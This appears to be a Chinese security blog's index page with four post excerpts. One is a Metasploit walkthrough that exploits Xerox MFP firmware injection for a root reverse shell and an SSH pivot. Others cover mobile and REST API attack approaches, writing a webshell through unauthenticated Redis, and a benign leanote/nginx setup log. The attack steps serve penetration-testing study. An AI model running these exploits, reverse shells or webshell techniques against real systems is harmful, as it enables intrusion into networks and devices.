1、《鸟哥的私房菜(服务器架设篇)》30%

2、《黑客与画家》完!

3、《史蒂夫·乔布斯传完!

4、《黑客大曝光:Web应用程序安全(原书第三版)》30%

More...

一直以来我们都在讨论多功能打印机(MFP)在企业环境下所带来的风险,以及攻击者如何轻易的利用其来进行恶意攻击,比如通过LDAP提取Windows Active Directory的证书或者滥用“扫描文件”和“扫描电子邮件”功能。

而在最近一次我们的攻防演练中,在通过MFP设备攻击Windows Active Directory时,我们利用该设备隐藏了我们的位置,这使得针对MFP设备的攻击进入了新的阶段。在本文中我们就来分享一下如何利用被盗用的Xerox Workcentre MFP设备来进行APT的细节。

clip_image001

首先我们要确定该Xerox Workcentre MFP设备在已经被入侵的网络中很容易受到固件注入攻击。实际上该技术早在2012年就已经被发表了,但由于缺乏对这一类物联网设备的强制性更新,目前仍有大量的Xerox Workcentre MFP设备会受到这种攻击,这一点可以很容易的通过Metasploit中的xerox_mfp模块来进行验证。而如果设备并不容易遭受攻击,或者攻击的结果只能够进行打印等操作,那显然是毫无价值的。但是如果它存在严重漏洞可以使你获得反向shell并最终拿到该设备的Root权限,那就相当的有价值了。

以下将向您展示通过Metasploit中的xerox_mfp模块来实施此类攻击。

[1]在Metasploit中选择 xerox_mfp 模块:

Use exploit/unix/misc/xerox_mfp

(http://www.rapid7.com/db/modules/exploit/unix/misc/xerox_mfp)

[2]接下来选择反向 bash payload 模块并使用它:

Set payload cmd/unix/reverse_bash

[3]最后使用以下命令设置目标IP和本地IP:

set RHOST ipaddress

set LHOST ipaddress

[4]这里建议你设置 wfsdelay 到30,因为当你在进行攻击时打印机有可能进入睡眠模式,这样做可以在你等待会话连接到监听器时增加延时。

set wfsdelay 30

[5]一旦完成上面的操作,你就可以通过输入或者运行exploit来启动exploit。

Xerox exploit将会启动固件注入攻击并返回一个可以接入MFP root权限的远程shell。

如下图所示:

clip_image002

建立并启用SSHD

当你获得了该MFP设备的root访问权限后,需要进行一些必要的配置,以便能够启用SSH隧道。第一步是建立SSH主机密钥,使你可以启动MFP设备上的SSH进程。

具体步骤如下:

输入以下命令来生成dsa和rsa密钥对:

ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

当有提示要输入密码时直接回车,下图是生成密钥的一个例子:

clip_image003

More...

本文原创作者:bt0sea

clip_image001

0×00、业务需求

移动应用产业以爆炸性的速度呈指数增长,但移动应用的安全问题落后于应用的发展速度。由于黑客事件变得越来越公开,对企业的影响比以往任何时候都更大。黑客渗透获取用户敏感数据后,出于商业目的销售,或者公开。所以,在移动APP端对企业数据的保护尤为重要。

P2P网站、金融等相关的网站、APP保存着用户的身份信息(真实姓名、身份证号、手机号、征信证明、银行流水等)。目前趋势是移动APP漏洞层出不穷,今天的移动安全相当于十年前web服务器安全的级别。基本上可以得出这样的结论:根据权威机构评估,平均每一个移动APP应用大约有3.5个安全漏洞,Apk 就是open source code代名词。

但是,单纯研究Mobile APP安全性问题,无法利用高危,获得服务器端的数据。所以,在分析移动APP漏洞的同时,要重点分析连接移动APP的RESTful API Web service。为什么要提RESTful API Web service呢?普通web架构+JSON不就成了么?经过分析大部分有价值数据的网站都是使用RESTful API Web service。这是热需求。

咱们先看看哪些大咖用这种设计架构,github/fackbook等。不了解RESTful API Web Service的同学请参考:

http://www.ruanyifeng.com/blog/2014/05/restful_api.html

0×01、研究手段

一、破解思路:

其实重点突破RESTful API Web Service 还是通过iOS/Android App。由于很多高大上的网站为了安全性,把Web网站和移动APP隔离,发现使用http(s)://api(OpenApi).xxx.com/login/v1?phone=13811110000&sgin=022BEC9EE1B935B50D1193A07A3AD7B2。都是通过移动APP抓到的包。所以,我们先看看移动端安全风险主要有哪些,我们如何下手,其实OWASP Mobile Top 10 Risks给我们指引了方向:

M1: 不安全的服务器端访问控制

M2: 不安全的数据存储

M3: 传输层保护不足

M4: 非预期的数据泄露

M5: 脆弱的认证和授权

M6: 已知的弱加密算法

M7: 客户端注入

M8: 通过不被信任的输入改变安全设定

M9: 会话处理不当

M10: 缺乏二进制保护

虽然说官网总结的很好,但是对于服务器端渗透从字面上只有M1。但是个人觉得需要配合APP破解才能达到最佳效果。那么,具体应该怎么操作呢?

M1:不安全的服务器端访问控制

(1)通过android移动APP程序攻击服务器端业务逻辑。

(2)验证服务器端对输入校验。

(3)通用 SQL注入 XSS跨站脚本,不安全的认证检查。

(4)通过代理方式操纵伪造数据提交。

当然要配合M2相关内容。

M2:不安全的数据存储

(1)敏感信息:用户名、密码、加密key、信用卡信息、session识别码、token等。

(2)个人信息:手机号、家庭住址、电子邮件、位置信息等。

(3)还有一些可能包含敏感信息的文件存储:SQLite databases 、Log Files 、XML Data Stores or Manifest Files 、Binary data stores 、SD Card、Cloud

二、具体攻击方法

More...

某日遇上Redis未授权访问,刚好有PHPINFO知道了路径,就可以直接写shell啦!

看下面的图,是不是很顺利??

image

结果……发现写入成功,访问报错,PHP代码解析有问题了?

image

我们写入txt文件,下载后查看什么原因

image

多了个问号字符出现在代码标签处开始处,所以下面的php代码直接执行不了了!

clip_image002

重新写马,闭合也不行,访问还是报错

image

查下资料找到解决方法,先把原来的数据备份,然后清空,这个前面的<??字符就不会影响到我们写马了!

More...

测试日志

win7+leanote+mongodb+nginx+php

1、安装数据库Mongodb

下载地址https://fastdl.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-3.0.5-signed.msi

 

Mongodb安装服务
D:\MongoDB>mongod --install --logpath=d:\MongoDB\logs --auth --bind_ip 127.0.0.1 --port 59983 --dbpath=d:\MongoDB\data
安装好服务之后,先不启动,用命令行无验证启动下,

D:\MongoDB>mongod --logpath=d:\MongoDB\logs --bind_ip 127.0.0.1 --port 59983 --dbpath=d:\MongoDB\data

连接数据库添加权限
D:\MongoDB>mongo --host 127.0.0.1 --port 59983
2015-08-19T00:37:38.351+0800 I CONTROL  Hotfix KB2731284 or later update is not
installed, will zero-out data files
MongoDB shell version: 3.0.5
connecting to: 127.0.0.1:59983/test
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
>

 

2、安装leanote

官网 http://leanote.org/

下载leanote http://pan.baidu.com/s/1nt7mONB

解压

导入leanote数据
mongorestore -h 127.0.0.1 --port 59983 -d leanote --dir d:\leanote\mongodb_backup\leanote_install_data

    导入成功的数据已经包含2个用户

    user1 username: admin, password: abc123 (管理员, 只有该用户可以管理后台) 
    user2 username: [email protected], password: [email protected] (仅供体验使用)

添加mongo数据库用户,使用mongoVUE或者命令行
leanote
OhyesGo4Mo

db.createUser({
    user: 'leanote',
    pwd: 'Oh',
    roles: [{role: 'dbOwner', db: 'leanote'}]
});

最后
d:\leanote\bin>run.bat
listen 9000

即运行成功

 

 

3、nginx反代及401 Basic认证配置

 

修改nginx配置

    server {
        listen       80;
        server_name  tra.cker.in ;

        location / {

             proxy_redirect off ;
             #proxy_set_header Host $host;
             proxy_set_header X-Real-IP $remote_addr;
             proxy_set_header REMOTE-HOST $remote_addr;
             proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
             client_max_body_size 50m;
             client_body_buffer_size 256k;
             proxy_connect_timeout 30;
             proxy_send_timeout 30;
             proxy_read_timeout 60;
             proxy_buffer_size 256k;
             proxy_buffers 4 256k;
             proxy_busy_buffers_size 256k;
             proxy_temp_file_write_size 256k;
             proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
             proxy_max_temp_file_size 128m;
            proxy_pass    http://127.0.0.1:9000;
            proxy_set_header Host "godblind.xicp.net";

            auth_basic            "Auth Restricted";
            auth_basic_user_file  webpass;        }
        }

 

 

webpass文件放在nginx\conf\目录下,存储的是htpasswd加密的用户密文,

htpasswd -dmbc webpass 用户名 密码。